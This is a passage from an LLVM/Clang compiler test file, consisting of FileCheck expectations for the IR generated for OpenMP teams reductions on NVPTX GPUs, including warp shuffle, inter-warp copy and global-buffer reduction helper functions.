CHECK2-NEXT: [[TMP4:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK2-NEXT: [[TMP5:%.*]] = load i32, i32* [[TMP4]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: store i8* [[C1]], i8** [[TMP6]], align 4 // CHECK2-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP8:%.*]] = bitcast float* [[D_ON_STACK]] to i8* // CHECK2-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 4 // CHECK2-NEXT: [[TMP9:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP10:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK2-NEXT: [[TMP11:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP5]], i8* [[TMP10]], i32 1024, i8* [[TMP9]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func3, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func4, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func5, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func6, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func7, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func8) // CHECK2-NEXT: [[TMP12:%.*]] = icmp eq i32 [[TMP11]], 1 // CHECK2-NEXT: br i1 [[TMP12]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK2: .omp.reduction.then: // CHECK2-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP0]], align 1 // CHECK2-NEXT: [[CONV4:%.*]] = sext i8 [[TMP13]] to i32 // CHECK2-NEXT: [[TMP14:%.*]] = load i8, i8* [[C1]], align 1 // CHECK2-NEXT: [[CONV5:%.*]] = sext i8 [[TMP14]] to i32 // CHECK2-NEXT: [[XOR6:%.*]] = xor i32 [[CONV4]], [[CONV5]] // CHECK2-NEXT: [[CONV7:%.*]] = trunc i32 [[XOR6]] to i8 // CHECK2-NEXT: store i8 [[CONV7]], i8* [[TMP0]], align 1 // CHECK2-NEXT: [[TMP15:%.*]] = load float, float* [[TMP1]], align 4 // CHECK2-NEXT: [[TMP16:%.*]] = load float, float* [[D_ON_STACK]], align 4 // CHECK2-NEXT: [[MUL8:%.*]] = fmul float [[TMP15]], [[TMP16]] // CHECK2-NEXT: store float [[MUL8]], float* [[TMP1]], align 4 // CHECK2-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP5]]) // CHECK2-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK2: .omp.reduction.done: // CHECK2-NEXT: call void @__kmpc_free_shared(i8* [[D2]], i32 4) // CHECK2-NEXT: call void @__kmpc_free_shared(i8* [[C1]], i32 1) // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func3 // CHECK2-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i8, align 1 // CHECK2-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca float, align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK2-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK2-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK2-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK2-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK2-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK2-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK2-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP12:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK2-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP10]], align 1 // CHECK2-NEXT: [[TMP14:%.*]] = sext i8 [[TMP13]] to i32 // CHECK2-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK2-NEXT: [[TMP16:%.*]] = trunc i32 [[TMP15]] to i16 // CHECK2-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP14]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK2-NEXT: [[TMP18:%.*]] = trunc i32 [[TMP17]] to i8 // CHECK2-NEXT: store i8 [[TMP18]], i8* [[DOTOMP_REDUCTION_ELEMENT]], align 1 // CHECK2-NEXT: [[TMP19:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK2-NEXT: [[TMP20:%.*]] = getelementptr i8, i8* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK2-NEXT: store i8* [[DOTOMP_REDUCTION_ELEMENT]], i8** [[TMP11]], align 4 // CHECK2-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK2-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 4 // CHECK2-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to float* // CHECK2-NEXT: [[TMP25:%.*]] = getelementptr float, float* [[TMP24]], i32 1 // CHECK2-NEXT: [[TMP26:%.*]] = bitcast float* [[TMP25]] to i8* // CHECK2-NEXT: [[TMP27:%.*]] = bitcast float* [[TMP24]] to i32* // CHECK2-NEXT: [[TMP28:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i32* // CHECK2-NEXT: [[TMP29:%.*]] = load i32, i32* [[TMP27]], align 4 // CHECK2-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK2-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK2-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK2-NEXT: store i32 [[TMP32]], i32* [[TMP28]], align 4 // CHECK2-NEXT: [[TMP33:%.*]] = getelementptr i32, i32* [[TMP27]], i32 1 // CHECK2-NEXT: [[TMP34:%.*]] = getelementptr i32, i32* [[TMP28]], i32 1 // CHECK2-NEXT: [[TMP35:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK2-NEXT: store i8* [[TMP35]], i8** [[TMP23]], align 4 // CHECK2-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK2-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK2-NEXT: [[TMP38:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK2-NEXT: [[TMP39:%.*]] = and i1 [[TMP37]], [[TMP38]] // CHECK2-NEXT: [[TMP40:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK2-NEXT: [[TMP41:%.*]] = and i16 [[TMP6]], 1 // CHECK2-NEXT: [[TMP42:%.*]] = icmp eq i16 [[TMP41]], 0 // CHECK2-NEXT: [[TMP43:%.*]] = and i1 [[TMP40]], [[TMP42]] // CHECK2-NEXT: [[TMP44:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK2-NEXT: [[TMP45:%.*]] = and i1 [[TMP43]], [[TMP44]] // CHECK2-NEXT: [[TMP46:%.*]] = or i1 [[TMP36]], [[TMP39]] // CHECK2-NEXT: [[TMP47:%.*]] = or i1 [[TMP46]], [[TMP45]] // CHECK2-NEXT: br i1 [[TMP47]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK2: then: // CHECK2-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK2-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK2-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP48]], i8* [[TMP49]]) #[[ATTR3]] // CHECK2-NEXT: br label [[IFCONT:%.*]] // CHECK2: else: // CHECK2-NEXT: br label [[IFCONT]] // CHECK2: ifcont: // CHECK2-NEXT: [[TMP50:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK2-NEXT: [[TMP51:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK2-NEXT: [[TMP52:%.*]] = and i1 [[TMP50]], [[TMP51]] // CHECK2-NEXT: br i1 [[TMP52]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK2: then5: // CHECK2-NEXT: [[TMP53:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP54:%.*]] = load i8*, i8** [[TMP53]], align 4 // CHECK2-NEXT: [[TMP55:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK2-NEXT: [[TMP56:%.*]] = load i8*, i8** [[TMP55]], align 4 // CHECK2-NEXT: [[TMP57:%.*]] = load i8, i8* [[TMP54]], align 1 // CHECK2-NEXT: store i8 [[TMP57]], i8* [[TMP56]], align 1 // CHECK2-NEXT: [[TMP58:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP59:%.*]] = load i8*, i8** [[TMP58]], align 4 // CHECK2-NEXT: [[TMP60:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK2-NEXT: [[TMP61:%.*]] = load i8*, i8** [[TMP60]], align 4 // CHECK2-NEXT: [[TMP62:%.*]] = bitcast i8* [[TMP59]] to float* // CHECK2-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP61]] to float* // CHECK2-NEXT: [[TMP64:%.*]] = load float, float* [[TMP62]], align 4 // CHECK2-NEXT: store float [[TMP64]], float* [[TMP63]], align 4 // CHECK2-NEXT: br label [[IFCONT7:%.*]] // CHECK2: else6: // CHECK2-NEXT: br label [[IFCONT7]] // CHECK2: ifcont7: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func4 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK2-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK2-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK2-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK2-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK2: then: // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP10:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK2-NEXT: [[TMP11:%.*]] = bitcast i32 addrspace(3)* [[TMP10]] to i8 addrspace(3)* // CHECK2-NEXT: [[TMP12:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK2-NEXT: store volatile i8 [[TMP12]], i8 addrspace(3)* [[TMP11]], align 1 // CHECK2-NEXT: br label [[IFCONT:%.*]] // CHECK2: else: // CHECK2-NEXT: br label [[IFCONT]] // CHECK2: ifcont: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK2-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK2-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK2: then2: // CHECK2-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK2-NEXT: [[TMP15:%.*]] = bitcast i32 addrspace(3)* [[TMP14]] to i8 addrspace(3)* // CHECK2-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK2-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK2-NEXT: [[TMP18:%.*]] = load volatile i8, i8 addrspace(3)* [[TMP15]], align 1 // CHECK2-NEXT: store i8 [[TMP18]], i8* [[TMP17]], align 1 // CHECK2-NEXT: br label [[IFCONT4:%.*]] // CHECK2: else3: // CHECK2-NEXT: br label [[IFCONT4]] // CHECK2: ifcont4: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK2-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK2-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK2: then6: // CHECK2-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK2-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 4 // CHECK2-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i32* // CHECK2-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK2-NEXT: [[TMP23:%.*]] = load i32, i32* [[TMP21]], align 4 // CHECK2-NEXT: store volatile i32 [[TMP23]], i32 addrspace(3)* [[TMP22]], align 4 // CHECK2-NEXT: br label [[IFCONT8:%.*]] // CHECK2: else7: // CHECK2-NEXT: br label [[IFCONT8]] // CHECK2: ifcont8: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK2-NEXT: [[TMP24:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP24]] // CHECK2-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK2: then10: // CHECK2-NEXT: [[TMP25:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK2-NEXT: [[TMP26:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK2-NEXT: [[TMP27:%.*]] = load i8*, i8** [[TMP26]], align 4 // CHECK2-NEXT: [[TMP28:%.*]] = bitcast i8* [[TMP27]] to i32* // CHECK2-NEXT: [[TMP29:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP25]], align 4 // CHECK2-NEXT: store i32 [[TMP29]], i32* [[TMP28]], align 4 // CHECK2-NEXT: br label [[IFCONT12:%.*]] // CHECK2: else11: // CHECK2-NEXT: br label [[IFCONT12]] // CHECK2: ifcont12: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func5 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK2-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK2-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK2-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK2-NEXT: store i8 [[TMP11]], i8* [[TMP10]], align 128 // CHECK2-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK2-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK2-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK2-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 1 // CHECK2-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP16:%.*]] = load float, float* [[TMP14]], align 4 // CHECK2-NEXT: store float [[TMP16]], float* [[TMP15]], align 128 // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func6 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK2-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 1 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK2-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP11]], i8* [[TMP12]]) #[[ATTR3]] // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func7 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK2-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK2-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK2-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP10]], align 128 // CHECK2-NEXT: store i8 [[TMP11]], i8* [[TMP9]], align 1 // CHECK2-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK2-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK2-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK2-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 1 // CHECK2-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK2-NEXT: [[TMP16:%.*]] = load float, float* [[TMP15]], align 128 // CHECK2-NEXT: store float [[TMP16]], float* [[TMP14]], align 4 // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func8 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK2-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK2-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i8], [1024 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 1 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1024 x float], [1024 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK2-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK2-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK2-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP12]], i8* [[TMP11]]) #[[ATTR3]] // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l33 